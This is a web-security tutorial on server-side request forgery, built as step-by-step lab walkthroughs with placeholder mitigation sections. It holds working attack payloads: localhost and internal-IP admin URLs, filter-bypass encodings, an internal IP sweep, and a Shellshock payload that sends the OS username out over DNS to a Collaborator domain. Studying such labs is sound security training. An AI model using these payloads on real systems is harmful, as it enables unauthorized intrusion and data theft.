Server side request forgery (SSRF)

This is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

• The attacker can cause the server to make a connection to internal-only services inside the organisation infrastructure.

• The attacker can force the server to connect to arbitrary external systems.

• The attacker can also perform some command execution.

• This could leak sensitive data such as authorization credentials.

Common SSRF attacks

SSRF attack against the server

• The attacker causes the application to make HTTP requests back to the server that is hosting the application.

• This happens via the loopback network interface (e.g., hostnames like 127.0.0.1 or localhost).

Example: a shopping application lets users view whether an item is in stock in a particular store. To provide stock information, the application queries back-end REST APIs and accepts a URL telling it which back-end API to call.

When the user views stock for an item, their browser makes:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

This causes the server to request that URL and return the stock status. An attacker can modify the request to specify a URL local to the server:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

The server fetches /admin and returns it to the attacker. Although /admin is normally protected, requests originating from the local machine may bypass access controls or be treated as trusted.

Why do applications behave this way?

• Access control checks may be implemented in a different component (e.g., a proxy or frontend) and are bypassed when the application makes requests to itself.

• For disaster recovery, applications may allow administrative access from the local machine without logging in.

• Administrative interfaces might listen on different ports not reachable by normal users.

Lab: Basic SSRF against the local server

1

Lab — Introduction

Web_Pentest300: Pen-tester infiltrates a website with a stock check feature that fetches data from an internal system.

2

Vulnerability — Problem

Pen-tester searches for vulnerable targets and attempts to access the internal localhost (127.0.0.1) admin interface on port 8080.

3

Payload & End-goal

Goal: Access user information. Payload used: 127.0.0.1/admin.

4

Reconnaissance Plan

• Browse to /admin and confirm direct access is denied.

• Visit a product, click "Check stock", intercept the request in Burp Suite and send to Repeater.

5

Attack

Change the stockApi parameter URL to http://localhost/admin. This will display the administration interface.

6

Exploit & Enumerate

• Read returned HTML to find additional paths.

• Try discovered URLs and endpoints in the browser.

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).

---

SSRF attack against other back-end systems

• Back-end systems often use non-routable private IP addresses and are protected by network topology.

• These services can have weaker security and may expose unauthenticated sensitive functions.

• If you can interact with internal back-end systems via SSRF, you can exploit them.

Lab: Basic SSRF against another back-end system

1

Lab — Introduction

Web_Pentest301: Target with a stock check feature that fetches from an internal system.

2

Vulnerability — Problem

Pen-tester searches for vulnerable targets and targets the internal 192.168.0.X range on port 8080.

3

Payload & End-goal

Goal: Access user information. Payload used: http://192.168.0.X.

4

Reconnaissance Plan

• Visit the product, click "Check stock", intercept in Burp Suite and send to Intruder.

• Change stockAPI to http://192.168.0.1:8080/admin and mark the final octet for payloads.

5

Attack

• In Intruder, set payload type to Numbers with range 1–255 and start the attack.

6

Exploit & Enumerate

• Sort by status code; look for 200 responses indicating admin interface.

• Send interesting requests to Repeater and change stockAPI to paths like /admin/edit/usernames.

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).

---

Circumventing common SSRF defences

Some defenders set up honey pots or simple filters; these can often be bypassed.

SSRF with blacklist-based input filters

• Applications may block hostnames such as 127.0.0.1, localhost, or sensitive paths like /admin.

• Bypass techniques:

  • Use alternative IP representations (e.g., 2130706433, 017700000001, 127.1).

  • Register a domain that resolves to the target.

  • Obfuscate blocked strings using URL encoding or case variations.

  • Provide a URL you control that redirects to the target, trying different redirect codes and protocols (e.g., http -> https).

Lab: SSRF with blacklist-based input filter

1

Lab — Introduction

Web_Pentest302: Target with stock check feature and weak anti-SSRF defenses.

2

Vulnerability — Problem

Pen-tester attempts to access the backend; developer deployed two weak anti-SSRF defenses.

3

Payload & End-goal

Goal: Access the admin interface on localhost. Payloads: localhost, 127.1.

4

Reconnaissance Plan

• Visit a product, click "Check stock", intercept in Burp Suite and send to Repeater.

• Change stockApi to http://127.0.0.1 and observe blocking.

5

Attack

• Change URL to http://127.1/ or http://127.1/admin to attempt bypasses.

• If blocked again, try obfuscation techniques.

6

Exploit & Enumerate

• Double-URL encode characters (e.g., encode a as %2561) and try http://127.1/%2561 to access admin interface.

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).

---

SSRF with whitelist-based input filters

• Some applications only accept input matching a whitelist.

• Whitelist checks that match only the beginning of input or that perform ad-hoc parsing can be bypassed by URL parsing oddities.

URL parsing features often overlooked:

• Embed credentials before hostname: https://expected-host:fakepassword@evil-host

• Use # to indicate fragments: https://evil-host#expected-host

• Use DNS naming hierarchy: https://expected-host.evil-host

• URL-encode characters to confuse parsers.

• Double-encode characters where decoders differ between validation and request stages.

Lab: SSRF with whitelist-based input filter

1

Lab — Introduction

Web_Pentest303: Target with stock check feature and several anti-SSRF defenses.

2

Vulnerability — Problem

Pen-tester attempts to change the stock check URL; server validates hostnames against a whitelist.

3

Payload & End-goal

Goal: Access the localhost admin interface. Payload techniques: embedded credentials, #, double URL encode.

4

Reconnaissance Plan

• Visit product, click "Check stock", intercept and send to Repeater.

• Change stockApi to http://127.0.0.1/ and observe the whitelist validation.

5

Attack

• Try http://[e-mail]/ — accepted if parser supports embedded credentials.

• Append a # — observe rejection.

6

Exploit & Enumerate

• Double-URL encode # to %2523. You might see internal server errors indicating the server attempted to connect to embedded user info.

• Example exploit URL: http://localhost:[e-mail]/admin/delete?username=carlos

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).

---

Bypassing SSRF filters via open redirection

• If user-submitted URLs are strictly validated, an open redirect on an allowed domain can be abused: the application requests a URL on the allowed domain which responds with a redirect to an internal target. If the HTTP client follows redirects, the server will request the redirected target.

Example:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

The app validates stockApi is on an allowed domain, requests it, the allowed domain responds with a redirect to http://192.168.0.68/admin, and the server follows the redirect — resulting in SSRF.

Lab: SSRF with filter bypass via open redirection vulnerability

1

Lab — Introduction

Web_Pentest304: Target with stock checker restricted to access only local application.

2

Vulnerability — Problem

Pen-tester searches for open redirects on the application to bypass SSRF filters.

3

Payload & End-goal

Goal: Find an open redirect and access the admin interface via the redirect.

4

Reconnaissance Plan

• Visit a product, click "Check stock", intercept in Burp and send to Repeater.

• Tamper with stockAPI; requests to backend are blocked.

• Check "next product" links and observe a path parameter placed into a Location header (open redirect).

5

Attack

• Craft a URL that triggers the open redirect to the admin interface and supply it to stockApi, for example: /product/nextProduct?path=http://192.168.0.12:8080/admin

• The stock checker follows the redirection and shows the admin page.

6

Exploit & Enumerate

• Adjust the redirected path to target specific admin endpoints (e.g., /admin/edit?username).

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).

Reference: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

---

Blind SSRF vulnerabilities

• Blind SSRF occurs when you can cause a backend request but the response is not returned to the client.

• Harder to exploit, but can sometimes lead to remote code execution on the server or other back-end components.

Finding hidden attack surface for SSRF

• Many SSRF vulnerabilities are visible in parameters that accept full URLs, but other attack surfaces exist:

Partial URLs in requests

• Some applications accept only a hostname or part of a path and append the remainder server-side. This reduces control and complicates exploitation.

URLs within data formats

• Data formats (e.g., XML) may contain URLs that the server-side parser will fetch. This can combine with XXE to enable SSRF.

SSRF via the Referer header

• Server-side analytics or URL fetchers that process the Referer header can introduce SSRF surface: the application may request or analyze the referring URL.

How to find and exploit Blind SSRF vulnerabilities

• Use out-of-band (OOB/OSAT) techniques: attempt to trigger an HTTP/DNS request to a controlled external system and monitor interactions.

• Burp Collaborator is a common tool to generate unique domains and detect server-initiated interactions.

• Note: Often you will observe a DNS lookup to the supplied collaborator domain even if no HTTP request is visible.

Lab: Blind SSRF with out-of-band detection

1

Lab — Introduction

Web_Pentest305: Find analytics software that fetches the Referer header URL when a product page is loaded.

2

Vulnerability — Problem

The application can connect back to a supplied server we control.

3

Payload & End-goal

Goal: Cause an HTTP request to a public Burp Collaborator server. Payload: Burp Collaborator.

4

Reconnaissance Plan

• Visit a product, intercept a request, send to Repeater.

• In Repeater, select the Referer header, right-click and choose "Insert Collaborator Payload" to replace the domain with a unique collaborator domain, then send.

5

Attack

• In Burp Collaborator tab, click "Poll now" (wait a few seconds if necessary because the server-side action may be asynchronous).

6

Exploit & Enumerate

• Observe DNS and HTTP interactions initiated by the application as a result of the payload.

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

This detection can be used to sweep internal IP address space using payloads designed to detect known vulnerabilities.

Like, Follow & Subscribe (last remarks).

---

Lab: Blind SSRF with Shellshock exploitation

1

Lab — Introduction

Web_Pentest306: Use Referer-based fetches to connect back to supplied servers (and internal hosts).

2

Vulnerability — Problem

The application will fetch Referer header URLs and can connect back to servers we control or internal addresses (e.g., 192.168.0.X:8080).

3

Payload & End-goal

Goal: Exfiltrate the OS username and check for other vulnerabilities. Payloads: Shellshock payload + Burp Collaborator.

4

Reconnaissance Plan

• Install "Collaborator Everywhere" from BApp Store in Burp Suite Pro.

• Add target domain to Burp's target scope and browse the site.

• Identify pages that cause collaborator interactions via Referer.

• Send the request to Intruder.

5

Attack

• Generate a unique Burp collaborator payload.

• Use a Shellshock-style payload with collaborator domain, e.g.: () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

• Replace the User-Agent or Referer with the payload.

• In Intruder, set up an IP sweep for 192.168.0.1:8080 by marking the final octet and using a Numbers payload from 1 to 255.

• Start the attack.

6

Exploit & Enumerate

• After the attack, poll the Collaborator tab. You should see DNS interactions initiated by the backend; the OS username may appear as a subdomain in the DNS lookup.

7

Mitigate

(Suggested mitigations—three points.)

8

Final remarks

Like, Follow & Subscribe (last remarks).